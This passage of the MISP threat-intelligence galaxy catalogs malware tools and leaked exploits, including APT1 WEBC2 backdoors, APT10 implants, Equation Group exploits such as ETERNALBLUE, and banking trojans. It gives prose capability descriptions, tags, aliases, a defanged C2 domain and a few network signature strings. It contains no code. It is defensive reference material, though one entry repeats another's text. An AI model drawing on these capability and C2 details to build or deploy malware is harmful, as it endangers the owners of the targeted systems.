The tag is: misp-galaxy:tool="MAPIGET"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
http://contagiodump.blogspot.com/2010/06/these-days-i-see-spike-in-number-of.html |
MINIASP
This family of malware consists of backdoors that attempt to fetch encoded commands over HTTP. The malware is capable of downloading a file, downloading and executing a file, executing arbitrary shell commands, or sleeping a specified interval.
The tag is: misp-galaxy:tool="MINIASP"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
NEWSREELS
The NEWSREELS malware family is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. These strings are both used as C2 channels, one URL is used as a beacon URL (transmitting) and the second URL is used to get commands (receiving). The NEWSREELS malware family is capable of performing file uploads, downloads, creating processes or creating an interactive reverse shell.
The tag is: misp-galaxy:tool="NEWSREELS"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
SEASALT
The SEASALT malware family communicates via a custom binary protocol. It is capable of gathering some basic system information, file system manipulation, file upload and download, process creation and termination, and spawning an interactive reverse shell. The malware maintains persistence by installing itself as a service.
The tag is: misp-galaxy:tool="SEASALT"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
STARSYPOUND
STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host responds with a packet that also begins with the string "(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.
The tag is: misp-galaxy:tool="STARSYPOUND"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
SWORD
This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.
The tag is: misp-galaxy:tool="SWORD"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
TABMSGSQL
This malware family is a full-featured backdoor capable of file uploading and downloading, arbitrary execution of programs, and providing a remote interactive command shell. All communications with the C2 server are sent over HTTP to a static URL, appending various URL parameters to the request. Some variants use a slightly different URL.
The tag is: misp-galaxy:tool="TABMSGSQL"
TABMSGSQL is also known as:
-
TROJAN LETSGO
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
TARSIP-ECLIPSE
The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.
The tag is: misp-galaxy:tool="TARSIP-ECLIPSE"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
TARSIP-MOON
The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-MOON family is distinguished by the presence of 'moon' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.
The tag is: misp-galaxy:tool="TARSIP-MOON"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WARP
The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the ?%SYSTEMROOT%\system32\cmd.exe? file as '%USERPROFILE%\Temp\~ISUN32.EXE'. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.
The tag is: misp-galaxy:tool="WARP"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-ADSPACE
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.
The tag is: misp-galaxy:tool="WEBC2-ADSPACE"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-AUSOV
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and execute compressed binaries.
The tag is: misp-galaxy:tool="WEBC2-AUSOV"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-BOLID
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is a backdoor capable of downloading files and updating its configuration. Communication with the command and control (C2) server uses a combination of single-byte XOR and Base64 encoded data wrapped in standard HTML tags. The malware family installs a registry key as a persistence mechanism.
The tag is: misp-galaxy:tool="WEBC2-BOLID"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-CLOVER
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the Updatasched.exe file.
The tag is: misp-galaxy:tool="WEBC2-CLOVER"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-CSON
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware act only as downloaders and droppers for other malware. They communicate with a hard-coded C2 server, reading commands embedded in HTML comment fields. Some variants are executables which act upon execution, others are DLLs which can be attached to services or loaded through search order hijacking.
The tag is: misp-galaxy:tool="WEBC2-CSON"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-DIV
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-DIV variant searches for the strings "div safe:" and " balance" to delimit encoded C2 information. If the decoded string begins with the letter "J" the malware will parse additional arguments in the decoded string to specify the sleep interval to use. WEBC2-DIV is capable of downloading a file, downloading and executing a file, or sleeping a specified interval.
The tag is: misp-galaxy:tool="WEBC2-DIV"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-GREENCAT
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware is a variant on the GREENCAT family, using a fixed web C2. This family is a full featured backdoor which provides remote command execution, file transfer, process and service enumeration and manipulation. It installs itself persistently through the current user’s registry Run key.
The tag is: misp-galaxy:tool="WEBC2-GREENCAT"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-HEAD
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-HEAD variant communicates over HTTPS, using the system’s SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string containing the name of the compromised machine running the malware.
The tag is: misp-galaxy:tool="WEBC2-HEAD"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-KT3
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-KT3 variant searches for commands in a specific comment tag. Network traffic starting with *!Kt3+v| may indicate WEBC2-KT3 activity.
The tag is: misp-galaxy:tool="WEBC2-KT3"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-QBP
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be "2010QBP " followed by " 2010QBP//--". Inside these tags will be a DES-encrypted string.
The tag is: misp-galaxy:tool="WEBC2-QBP"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-RAVE
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will spawn an encoded reverse shell to an attacker specified location and port.
The tag is: misp-galaxy:tool="WEBC2-RAVE"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-TABLE
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.
The tag is: misp-galaxy:tool="WEBC2-TABLE"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-TOCK
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.
The tag is: misp-galaxy:tool="WEBC2-TOCK"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-UGX
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time.
The tag is: misp-galaxy:tool="WEBC2-UGX"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-Y21K
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.
The tag is: misp-galaxy:tool="WEBC2-Y21K"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-YAHOO
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named 'sb' or 'ex' within a tag named 'yahoo'. The embedded link can direct the malware to download and execute files.
The tag is: misp-galaxy:tool="WEBC2-YAHOO"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
HAYMAKER
HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string.
The tag is: misp-galaxy:tool="HAYMAKER"
HAYMAKER has relationships with:
-
similar: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
BUGJUICE
BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.
The tag is: misp-galaxy:tool="BUGJUICE"
BUGJUICE has relationships with:
-
similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
SNUGRIDE
SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. Persistence is maintained through a Run registry key.
The tag is: misp-galaxy:tool="SNUGRIDE"
SNUGRIDE has relationships with:
-
similar: misp-galaxy:mitre-malware="SNUGRIDE - S0159" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
QUASARRAT
QUASARRAT is an open-source RAT available at https://github.com/quasar/QuasarRat . The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past.
The tag is: misp-galaxy:tool="QUASARRAT"
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
da Vinci RCS
Hacking Team’s "DaVinci" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target’s location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.
The tag is: misp-galaxy:tool="da Vinci RCS"
da Vinci RCS is also known as:
-
DaVinci
-
Morcut
Links |
https://wikileaks.org/hackingteam/emails/fileid/581640/267803 |
LATENTBOT
LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.
The tag is: misp-galaxy:tool="LATENTBOT"
Links |
https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html |
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html |
FINSPY
Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.
The tag is: misp-galaxy:tool="FINSPY"
FINSPY is also known as:
-
BlackOasis
FINSPY has relationships with:
-
similar: misp-galaxy:rat="FINSPY" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html |
RCS Galileo
HackingTeam Remote Control System (RCS) Galileo hacking platform
The tag is: misp-galaxy:tool="RCS Galileo"
Links |
https://www.f-secure.com/documents/996508/1030745/callisto-group |
EARLYSHOVEL
RedHat 7.0 - 7.1 Sendmail 8.11.x exploit
The tag is: misp-galaxy:tool="EARLYSHOVEL"
Links |
EBBISLAND (EBBSHAVE)
root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9 & 10 (possibly newer) both SPARC and x86
The tag is: misp-galaxy:tool="EBBISLAND (EBBSHAVE)"
Links |
ECHOWRECKER
remote Samba 3.0.x Linux exploit
The tag is: misp-galaxy:tool="ECHOWRECKER"
Links |
EASYBEE
appears to be an MDaemon email server vulnerability
The tag is: misp-galaxy:tool="EASYBEE"
Links |
EASYPI
an IBM Lotus Notes exploit that gets detected as Stuxnet
The tag is: misp-galaxy:tool="EASYPI"
Links |
EWOKFRENZY
an exploit for IBM Lotus Domino 6.5.4 & 7.0.2
The tag is: misp-galaxy:tool="EWOKFRENZY"
Links |
EXPLODINGCAN
an IIS 6.0 exploit that creates a remote backdoor
The tag is: misp-galaxy:tool="EXPLODINGCAN"
Links |
ETERNALROMANCE
a SMB1 exploit over TCP port 445 which targets XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges (MS17-010)
The tag is: misp-galaxy:tool="ETERNALROMANCE"
Links |
EDUCATEDSCHOLAR
a SMB exploit (MS09-050)
The tag is: misp-galaxy:tool="EDUCATEDSCHOLAR"
Links |
EMERALDTHREAD
a SMB exploit for Windows XP and Server 2003 (MS10-061)
The tag is: misp-galaxy:tool="EMERALDTHREAD"
Links |
EMPHASISMINE
a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2
The tag is: misp-galaxy:tool="EMPHASISMINE"
Links |
ENGLISHMANSDENTIST
Outlook Exchange WebAccess rules to trigger executable code on the client’s side to send an email to other users
The tag is: misp-galaxy:tool="ENGLISHMANSDENTIST"
Links |
EPICHERO
0-day exploit (RCE) for Avaya Call Server
The tag is: misp-galaxy:tool="EPICHERO"
Links |
ERRATICGOPHER
SMBv1 exploit targeting Windows XP and Server 2003
The tag is: misp-galaxy:tool="ERRATICGOPHER"
Links |
ETERNALSYNERGY
a SMBv3 remote code execution flaw for Windows 8 and Server 2012 SP0 (MS17-010)
The tag is: misp-galaxy:tool="ETERNALSYNERGY"
Links |
ETERNALBLUE
SMBv2 exploit for Windows 7 SP1 (MS17-010)
The tag is: misp-galaxy:tool="ETERNALBLUE"
Links |
ETERNALCHAMPION
a SMBv1 exploit
The tag is: misp-galaxy:tool="ETERNALCHAMPION"
Links |
ESKIMOROLL
Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2 domain controllers
The tag is: misp-galaxy:tool="ESKIMOROLL"
Links |
ESTEEMAUDIT
RDP exploit and backdoor for Windows Server 2003
The tag is: misp-galaxy:tool="ESTEEMAUDIT"
Links |
ECLIPSEDWING
RCE exploit for the Server service in Windows Server 2008 and later (MS08-067)
The tag is: misp-galaxy:tool="ECLIPSEDWING"
Links |
ETRE
exploit for IMail 8.10 to 8.22
The tag is: misp-galaxy:tool="ETRE"
Links |
FUZZBUNCH
an exploit framework, similar to MetaSploit
The tag is: misp-galaxy:tool="FUZZBUNCH"
Links |
ODDJOB
implant builder and C&C server that can deliver exploits for Windows 2000 and later, also not detected by any AV vendors
The tag is: misp-galaxy:tool="ODDJOB"
Links |
PASSFREELY
utility which Bypasses authentication for Oracle servers
The tag is: misp-galaxy:tool="PASSFREELY"
Links |
SMBTOUCH
check if the target is vulnerable to samba exploits like ETERNALSYNERGY, ETERNALBLUE, ETERNALROMANCE
The tag is: misp-galaxy:tool="SMBTOUCH"
Links |
ERRATICGOPHERTOUCH
Check if the target is running some RPC
The tag is: misp-galaxy:tool="ERRATICGOPHERTOUCH"
Links |
IISTOUCH
check if the running IIS version is vulnerable
The tag is: misp-galaxy:tool="IISTOUCH"
Links |
RPCOUTCH
get info about windows via RPC
The tag is: misp-galaxy:tool="RPCOUTCH"
Links |
DOPU
used to connect to machines exploited by ETERNALCHAMPIONS
The tag is: misp-galaxy:tool="DOPU"
Links |
feodo
Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye’s MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal group.
The tag is: misp-galaxy:tool="feodo"
Links |
https://www.fireeye.com/blog/threat-research/2010/10/feodosoff-a-new-botnet-on-the-rise.html |
Cardinal RAT
Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.
The tag is: misp-galaxy:tool="Cardinal RAT"
Cardinal RAT has relationships with:
-
similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"
Links |
http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/ |
REDLEAVES
The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.
The tag is: misp-galaxy:tool="REDLEAVES"
Links |
Kazuar
Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.
The tag is: misp-galaxy:tool="Kazuar"
Kazuar has relationships with:
-
similar: misp-galaxy:malpedia="Kazuar" with estimative-language:likelihood-probability="likely"
Links |
Trick Bot
Many links indicate, that this bot is another product of the people previously involved in Dyreza. It seems to be rewritten from scratch – however, it contains many similar features and solutions to those we encountered analyzing Dyreza (read more).
The tag is: misp-galaxy:tool="Trick Bot"
Trick Bot is also known as:
-
TrickBot
-
TrickLoader
Trick Bot has relationships with:
-
similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:banker="Trickbot" with estimative-language:likelihood-probability="likely"
Hackshit
Netskope Threat Research Labs recently discovered a Phishing-as-a-Service (PhaaS) platform named Hackshit, that records the credentials of the phished bait victims. The phished bait pages are packaged with base64 encoding and served from secure (HTTPS) websites with “.moe” top level domain (TLD) to evade traditional scanners. “.moe” TLD is intended for the purpose of ‘The marketing of products or services deemed’. The victim’s credentials are sent to the Hackshit PhaaS platform via websockets. The Netskope Active Platform can proactively protect customers by creating custom applications and a policy to block all the activities related to Hackshit PhaaS.
The tag is: misp-galaxy:tool="Hackshit"
Links |
https://resources.netskope.com/h/i/352356475-phishing-as-a-service-phishing-revamped |
Banload
Banload has been around since the last decade. This malware generally arrives on a victim’s system through a spam email containing an archived file or bundled software as an attachment. In a few cases, this malware may also be dropped by other malware or a drive-by download. When executed, Banload downloads other malware, often banking Trojans, on the victim’s system to carry out further infections.
The tag is: misp-galaxy:tool="Banload"
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/banload |
Smoke Loader
This small application is used to download other malware. What makes the bot interesting are various tricks that it uses for deception and self protection.
The tag is: misp-galaxy:tool="Smoke Loader"
Smoke Loader is also known as:
-
SmokeLoader
Smoke Loader has relationships with:
-
similar: misp-galaxy:mitre-malware="Smoke Loader - S0226" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-probability="likely"
Links |
LockPoS
The analyzed sample has a recent compilation date (2017-06-24) and is available on VirusTotal. It starts out by resolving several Windows functions using API hashing (CRC32 is used as the hashing function).
The tag is: misp-galaxy:tool="LockPoS"
Links |
https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/ |
Fadok
Win.Worm.Fadok drops several files. %AppData%\RAC\mls.exe or %AppData%\RAC\svcsc.exe are instances of the malware which are auto-started when Windows starts. Further, the worm drops and opens a Word document. It connects to the domain wxanalytics[.]ru.
The tag is: misp-galaxy:tool="Fadok"
Fadok is also known as:
-
Win32/Fadok
Links |
http://blog.talosintelligence.com/2017/06/threat-roundup-0602-0609.html |
Loki Bot
Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.
The tag is: misp-galaxy:tool="Loki Bot"
Links |
KONNI
Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim’s machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:
The tag is: misp-galaxy:tool="KONNI"
KONNI has relationships with:
-
similar: misp-galaxy:rat="Konni" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Konni" with estimative-language:likelihood-probability="likely"
Links |
http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html |
NOKKI
Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI’s Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.
The tag is: misp-galaxy:tool="NOKKI"
Links |
SpyDealer
Recently, Palo Alto Networks researchers discovered an advanced Android malware we’ve named “SpyDealer” which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.
The tag is: misp-galaxy:tool="SpyDealer"
Links |
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/ |
CowerSnail
CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems.
The tag is: misp-galaxy:tool="CowerSnail"
Links |
https://securelist.com/cowersnail-from-the-creators-of-sambacry/79087/ |
Svpeng
In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.
The tag is: misp-galaxy:tool="Svpeng"
Svpeng is also known as:
-
trojan-banker.androidos.svpeng.ae
Svpeng has relationships with:
-
similar: misp-galaxy:android="Svpeng" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/ |
TwoFace
